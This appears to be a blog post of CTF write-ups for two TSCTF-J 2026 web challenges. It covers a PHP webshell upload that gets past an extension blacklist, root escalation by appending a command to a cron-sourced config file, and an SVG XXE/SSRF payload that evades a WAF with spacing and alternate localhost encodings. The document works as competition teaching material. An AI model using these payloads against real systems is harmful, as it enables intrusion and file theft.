3562 字
18 分钟
【补充】TSCTF-J 2026 Writeup
2026-10-17
最后更新 2026-10-23

对 TSCTF-J 2026 未解出题目的补充WP (在努力做题了)

会一直更新 (大概)

玛德莱娜小蛋糕#

alt text

进入主页面发现一个 存入相册 的按钮,考虑到这是一个低难度web题,猜测是一句话木马类型。

先用dirsearch进行扫描,只得到三个301响应的端口/assets,/data,/storage

尝试访问但是均被 403 Forbidden,那应该不会存在相关文件 (其实是网络炸了扫不了了)

再用arjun盲扫一下网页也只返回唯一一个表单参数photo,所以先不考虑LFI文件包含,排除该方向。

回到上传文件本身

新建一个gif文件,写入木马(我们使用短标签 <? ,因为 <?php 被WAF)

GIF89a<? @eval($_POST['ant']); ?>

通过brup上传,抓包改php文件类型

发现 php / php5 / phar / php7 被拒,

.phtml、.pht、.shtml、.cgi、.htaccess 等原样保存

使用 .phtml 上传文件,文件被转存为 随机数+.phtml 的格式,并且可静态访问

http://53665a4675446e5473505a497a45326f464336546d-p80.chal.buptmerak.cn/storage/tmp/08767c30da72.phtml?c=id

尝试使用蚁剑进入文件夹,成功

alt text

不过浏览了一会发现报错了,回到网页发现404,结合tmp路径,猜测文件被清理

所以重复过程,速战速决。

在根目录发现不可修改的entrypoint.sh,进去找找提示

#!/bin/bash
# NOTE: intentionally NO `set -e`.
# This script must always reach `exec apache2-foreground`, otherwise the
# container exits, the platform drops the gateway route, and the browser only
# shows a confusing "ERR_CONNECTION_CLOSED" with no way to see why.
# A reachable-but-misconfigured instance is far easier to debug than a
# crash-looping one.
set -uo pipefail
# ---------------------------------------------------------------------------
# 1) Persist the platform-injected flag as a root-only file.
# Never write a fallback value: a fixed flag would be a free flag for
# everyone, which is worse than having no flag at all.
# ---------------------------------------------------------------------------
if [ -z "${FLAG:-}" ]; then
echo "[entrypoint] ==========================================================" >&2
echo "[entrypoint] ERROR: FLAG is empty / was not injected by the platform." >&2
echo "[entrypoint] /flag will NOT be created -> nobody can obtain the flag." >&2
echo "[entrypoint] Fix: choose 动态flag(Leet 或 UUID) and click 保存&编译." >&2
echo "[entrypoint] Continuing WITHOUT /flag so this instance stays reachable" >&2
echo "[entrypoint] (you should still see the upload page when you open it)." >&2
echo "[entrypoint] ==========================================================" >&2
else
if printf '%s\n' "$FLAG" > /flag; then
chown root:root /flag 2>/dev/null || true
chmod 600 /flag 2>/dev/null || true
else
echo "[entrypoint] ERROR: could not write /flag (read-only mount?)." >&2
echo "[entrypoint] If the platform injects the flag another way, make" >&2
echo "[entrypoint] sure that file is still root-only (0600)." >&2
fi
# Remove FLAG from the environment BEFORE anything long-lived starts, so it
# can never show up in /proc/<pid>/environ:
# - `service cron start` forks a daemon that would otherwise inherit it
# (and pass it on to every cron job, including the ones the player
# triggers);
# - the final `exec` replaces PID 1, so /proc/1/environ is clean too.
unset FLAG
fi
# ---------------------------------------------------------------------------
# 2) cron is the intended solution path. If the runtime refuses to run it the
# challenge becomes unsolvable, so make that loud -- but do not kill the
# container over it.
# ---------------------------------------------------------------------------
if ! service cron start; then
echo "[entrypoint] WARNING: 'service cron start' failed; the challenge will be unsolvable" >&2
fi
if command -v pgrep >/dev/null 2>&1 && ! pgrep -x cron >/dev/null 2>&1; then
echo "[entrypoint] WARNING: cron daemon is not running; the challenge will be unsolvable" >&2
fi
# ---------------------------------------------------------------------------
# 3) exec: PID 1 must be apache itself (not this shell), which also gives it a
# freshly built environment block with no FLAG entry.
# ---------------------------------------------------------------------------
if [ -f /flag ]; then
echo "[entrypoint] starting apache (flag file: present, $(stat -c '%A %U:%G' /flag 2>/dev/null))" >&2
else
echo "[entrypoint] starting apache (flag file: MISSING -> this instance is broken)" >&2
fi
exec apache2-foreground

可以发现有很多注释和flag相关内容,看43段

# 2) cron is the intended solution path. If the runtime refuses to run it the
challenge becomes unsolvable, so make that loud -- but do not kill the
container over it.

可知 cron(定时任务) 是预期的解题路径

去到/etc找到一个cron.d文件夹,里面有teahouse-cleanup文件,写着

* * * * * root /bin/bash /opt/teahouse/bin/clean_uploads.sh >> /var/log/
teahouse-cleanup.log 2>&1

这个复写是以 root 权限运行的,也许可以利用一下。

再去到/opt/teahouse/bin/clean_uploads.sh,里面写着

#!/bin/bash
set -u
UPLOAD_DIR="/var/www/html/storage/tmp"
PROFILE_FILE="/var/lib/teahouse/cleanup.conf"
if [ ! -d "$UPLOAD_DIR" ]; then
exit 0
fi
if [ -f "$PROFILE_FILE" ]; then
source "$PROFILE_FILE"
fi
# The teahouse keeps albums tidy by sweeping oversized or stale temporary desserts.
find "$UPLOAD_DIR" -type f -size +"${MAX_UPLOAD_SIZE:-1M}" -delete
find "$UPLOAD_DIR" -type f -mmin +"${UPLOAD_TTL_MINUTES:-3}" -delete

第12段有个source,引用的是/var/lib/teahouse/cleanup.conf

由于teahouse-cleanup以 root权限 执行clean_uploads.sh,而clean_uploads.sh又以source执行了cleanup.conf,所以cleanup.conf就是以 root权限 执行的。

追踪到/var/lib/teahouse/cleanup.conf,发现当前权限可修改

里面写着

MAX_UPLOAD_SIZE=1M
UPLOAD_TTL_MINUTES=3

我们往里面追加内容

cat /flag > /var/www/html/storage/tmp/flagout.txt

目的是让/flag的内容写入到flagout.txt的文件中,过一分钟之后就有flagout.txt文件出现了

一分钟后打开flagout.txt得到 TSCTF-J{cR07-1N_534rbH-OF-10sT-b@K3-a7d_f13Gc98433b}

整体思路: (只有此处为AI生成)

  1. 上传木马 -> 绕过前端和黑名单,拿到 www-data 权限。
  2. 信息收集 -> 阅读 entrypoint.sh,发现 Cron 提权是官方指定路线。
  3. 寻找弱点 -> 发现 cleanup.conf 是高权限加载(source)的低权限可写文件。
  4. 借刀杀人 -> 把 cat /flag > ... 塞进配置,让 root 帮你当“搬运工”。

题目:MinePortrait#

正文#

进入题目环境 见登录界面

alt text

用dirsearch扫一遍,发现有隐藏端口

alt text

依次访问

/healthz返回 “ok”

/robots.txt返回有效内容

alt text

追踪到 /www.zip,直接下载到了文件,解压得到两个文件

alt text

打开login_source.py

# leaked login source
USERNAME = "m0rnis"
PASSWORD = "passw0rd"
def check_login(username, password):
if username == USERNAME and password == PASSWORD:
return True
return False

是泄露的账号密码。

再看看old_note.txt

old_note.txt
Pelican Town workshop internal notes
private media helper:
service = 127.0.0.1
route = /fetch.php
query = url
flag in flag.txt
The media helper is only reachable from the workshop network.
It was kept for legacy artwork imports used by older portrait tools.

可以看到 “media helper” 只能从内网 127.0.0.1访问:与SSRF有关。

并且提到了 /fetch.php,那么后续拼payload大概率要用到。

使用m0rnis和passw0rd登录进入网站。

alt text

发现有上传文件的地方,随便找一张照片进行格式转化,发现burp抓不到包,判断有直接的前端图片转化器,不过服务器

开F12看html源码找找隐藏信息,发现有一段隐藏起来的javascript

const form = document.querySelector("#converter-form");
const fileInput = document.querySelector("#image");
const sourceSelect = document.querySelector("#source_format");
const targetSelect = document.querySelector("#target_format");
const preview = document.querySelector("#preview");
const statusBox = document.querySelector("#client-status");
const download = document.querySelector("#download-link");
const mimeByTarget = {
png: "image/png",
jpg: "image/jpeg",
webp: "image/webp"
};
function setStatus(message, isError = false) {
statusBox.textContent = message;
statusBox.style.color = isError ? "#9d241b" : "#64725d";
}
function filenameFor(original, target) {
const stem = original.replace(/\.[^.]+$/, "") || "portrait";
return `${stem}.${target === "jpg" ? "jpg" : target}`;
}
function blobToText(blob) {
return new Promise((resolve, reject) => {
const reader = new FileReader();
reader.onload = () => resolve(String(reader.result || ""));
reader.onerror = reject;
reader.readAsText(blob);
});
}
function loadImageFromFile(file) {
return new Promise((resolve, reject) => {
const img = new Image();
img.onload = () => resolve(img);
img.onerror = () => reject(new Error("The browser could not decode this image format."));
img.src = URL.createObjectURL(file);
});
}
function canvasToBlob(canvas, mime) {
return new Promise((resolve) => canvas.toBlob(resolve, mime, mime === "image/jpeg" ? 0.92 : undefined));
}
form.addEventListener("submit", async (event) => {
const file = fileInput.files[0];
const source = sourceSelect.value;
const target = targetSelect.value;
if (!source || !target) {
event.preventDefault();
setStatus("Choose both a source format and a target format.", true);
return;
}
if (!file) {
return;
}
if (source === "svg" && target === "png") {
const text = await blobToText(file);
if (/<!\s*(doctype|entity)|SYSTEM\s+["']/i.test(text)) {
setStatus("Sending SVG to the workshop renderer...");
return;
}
}
event.preventDefault();
if (!mimeByTarget[target]) {
setStatus("This browser can export PNG, JPG, and WEBP portraits.", true);
return;
}
try {
setStatus("Converting locally in your browser...");
const img = await loadImageFromFile(file);
const canvas = document.createElement("canvas");
const maxSide = 900;
const scale = Math.min(1, maxSide / Math.max(img.naturalWidth || img.width, img.naturalHeight || img.height));
canvas.width = Math.max(1, Math.round((img.naturalWidth || img.width) * scale));
canvas.height = Math.max(1, Math.round((img.naturalHeight || img.height) * scale));
const ctx = canvas.getContext("2d");
ctx.fillStyle = "#fffdf3";
ctx.fillRect(0, 0, canvas.width, canvas.height);
ctx.drawImage(img, 0, 0, canvas.width, canvas.height);
const converted = await canvasToBlob(canvas, mimeByTarget[target]);
if (!converted) {
throw new Error("The browser refused to export that target format.");
}
const url = URL.createObjectURL(converted);
preview.innerHTML = "";
preview.appendChild(canvas);
download.href = url;
download.download = filenameFor(file.name, target);
download.style.display = "block";
setStatus(`Converted ${source.toUpperCase()} to ${target.toUpperCase()} locally.`);
} catch (error) {
setStatus(error.message, true);
}
});

重点看这一部分

if (source === "svg" && target === "png") {
const text = await blobToText(file);
if (/<!\s*(doctype|entity)|SYSTEM\s+["']/i.test(text)) {
setStatus("Sending SVG to the workshop renderer...");
return;
}
}

当svg转png时,如果svg图片的text撞到了正则表达式,就会被发送给服务端。可以肯定这里就是入手点。 (笔者起初理解成撞了正则就不发送服务端,然后怎么也过不了)


svg本质是一种xml,那么就可能存在xxe实体注入,往这个方向靠。(这里引用一下Hello CTF的内容)

alt text

看到这个之后,笔者本来想去找P.W.N.CTF 2018的相关WP,但是似乎没找到(大概是没仔细找)


回到题目本身,刚才的正则表达式有个很特殊的地方,<!的后面跟了一个\s*,表示可以加空格(后面payload要考)

有了以上信息,我们先尝试发送第一个payload,往XXE和SSRF方向上靠

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE svg [
<!ENTITY xxe SYSTEM "http://127.0.0.1/fetch.php?url=/flag.txt">
]>
<svg xmlns="http://www.w3.org/2000/svg" width="900" height="520">
<text x="10" y="40">&xxe;</text>
</svg>

回显

alt text

明显被WAF了,让我们 “Go refine it!”

正所谓出题人不会给没有用的信息 (雾),前面说过可以在 <!DOCTYPE 和 <!ENTITY 之中插入空格,我们据此改进payload后,得到回显

alt text

说明成功绕过了一层WAF,但是还有一层。这时候可以结合一下出题师傅给的提示

祝尼魔们会拦下不少本机地址,却会收下用filter包好的信。

“会拦下不少本机地址”:所以127.0.0.1肯定是首当其冲,我们尝试换其他等价的host,例如0.0.0.0或者localhost,但是都被拦截了,再用更复杂一些的 2130706433 (十进制整数)或者 0x7F000001(十六进制)

“收下用filter包好的信”:使用php://filter包裹自己的url

基于以上两个提示,我们可以把payload换成

<?xml version="1.0" encoding="UTF-8"?>
<! DOCTYPE svg [
<! ENTITY xxe SYSTEM "http://0/fetch.php?url=php://filter/resource=/flag.txt">
]>
<svg xmlns="http://www.w3.org/2000/svg" width="900" height="520">
<text x="10" y="40">&xxe;</text>
</svg>

得到

alt text

一堆报错信息后面直接拿到flag

TSCTF-J{f1a3053b-6b99-c67d-235b-7275451b5c7d}


后日谈#

1.还有哪些优秀的和 127.0.0.1 等价的host?

dsh帮我测了一堆和127.0.0.1等价的host出来

alt text


2.没有提示之前怎么想到用filter包裹php?

dsh老师回答如下:

alt text

做题时的一点有趣乌龙#

由于笔者没有系统学过xml的语言,不知道什么情况下会破坏掉payload本身,加之一开始没有注意到可以通过加空格绕过WAF,所以笔者当时对payload进行了自己的奇妙改造:

把DOCTYE,ENTITY,SYSTEM在burp中用Unicode编码,将他们变成了%u0044%u004f%u0043%u0054%u0059%u0050%u0045,%u0045%u004e%u0054%u0049%u0054%u0059,%u0053%u0059%u0053%u0054%u0045%u004d这样的形式

结果得到的响应图片中全是?<实体名>?的形式,导致笔者还以为这是另一层WAF (看上去颇有嘲讽意味不是么)

alt text alt text alt text


怎么来的?(以下为 dsh 老师给的 web 宝宝也能听懂的解答)

DSH:

这是 “同一段文字,被两个不同的程序用两套不同的规则读了两次” 的结果。

第 1 步:先认识三个词#

XML:一种“用尖括号标记内容”的文本格式。SVG 就是 XML 的一种。像这样:

<svg><text>你好</text></svg>

<text> 和 </text> 之间的“你好”就是要显示的文字。

实体(entity):XML 里的“快捷替换”,相当于文本里的宏定义。

<!DOCTYPE svg [
<!ENTITY a "HELLO"> <!-- 定义:a 代表 HELLO -->
]>
<svg><text>&a;</text></svg> <!-- 使用:画出来就是 HELLO -->

SYSTEM:实体也可以不写死内容,而是让解析器去某个地址取内容:

<!ENTITY a SYSTEM "http://某网址/文件">

SYSTEM 的意思就是“内容得从外面拿”。在正常的 XML 里,解析器会访问这个网址,把返回的内容当成 a 的值。这就是 XXE 漏洞:控制住了 SYSTEM 后面的地址,就等于让服务器替你去访问任意地址、读任意文件。

第 2 步:这台服务器其实在“手写找关键字”#

正常的 SVG 渲染器会请一个真正的 XML 解析器(比如 libxml2)来读。但这道题的作者没有这么做,他是自己用正则表达式从文本里找关键字,大致四步:

① 找 <text> 和 </text> 之间的文字 → 这就是要画的东西
② 找 <!ENTITY 名字 SYSTEM "网址"> 这样的声明 → 记下“名字 → 网址”
③ 真的去访问那个网址,把返回的内容拿回来
④ 把第①步找到的文字里所有 &名字; 替换成第③步拿回的内容
然后把这些字画成点阵图片

这四步就是它全部的功能。它没有 XML 解析器,所以:

  • 内部实体(<!ENTITY a "HELLO">)它不展开——因为没有“取网址”的动作;
  • &gt;、&#65; 这类标准写法它也不认;
  • 只有带 SYSTEM 的那条路,它才会去发请求。

我在你给的新实例上把这些全测了一遍:内部实体 → 画出字面的 &a;;&gt; → 画出字面的 &gt;;带 SYSTEM → 真的把内容拿回来了。

第 3 步:为什么 %u0044 会“永远显示 ?a?”#

现在拆你的写法。%u0044 是JavaScript 里 unescape() 那种转义的格式(%u0044 → 字母 D)。但——

XML 语法里根本没有 %uXXXX 这种东西。

XML 里表示一个字符只有两种写法:&#68;(十进制)或 &#x44;(十六进制)。没有 %u。

所以你那三个“关键字”,在服务器眼里变成了:

<!%u0044%u004f%u0043%u0054%u0059%u0050%u0045 svg [

它就是一串普通字符,不是 DOCTYPE 声明。于是:

  1. 第②步找 <!ENTITY … SYSTEM …> 的规则匹配不到(中间被 %u0045%u004e… 打断了);
  2. 没有声明 → 第③步没有网址可访问 → 什么都没取回;
  3. 第④步没东西可替换,<text>&a;</text> 里的 &a; 就原样当普通文字画出来;
  4. 而 & 和 ; 这两个字符不在渲染器的字库里(它只有 76 个字形),会被画成占位方块,你看到的就是 ?a?。

一句话:你把要用的语法一起毁掉了。 藏住了关键字,也藏住了功能。

个人联想#

笔者针对为什么能直接更改127.0.0.1的进制表示从而绕过WAF进行了一定探究。发现了一些可能存在的历史渊源 (大概只是过度解读罢了,看个乐)

“为什么当我们输入2130706433或者0x7F000001时为什么服务端能正确解析出127.0.0.1?”

去问ds老师,得到回答如下

alt text

legacy一词引起了笔者的注意,因为前面的old_note.txt中也出现了legacy一词

It was kept for legacy artwork imports used by older portrait tools.
大意:它被保留用于旧版肖像工具所使用的旧美术资源导入。

“旧版”?

于是我去追问ds: “inet_aton是现代服务器都有的吗?”

alt text

alt text

看来大概是 “旧版肖像工具” 使用了已经被时代遗弃的 “inet_aton” ,导致了漏洞的发生。

以上联想纯属笔者自己捏造,无出题师傅证明,当个小故事看吧。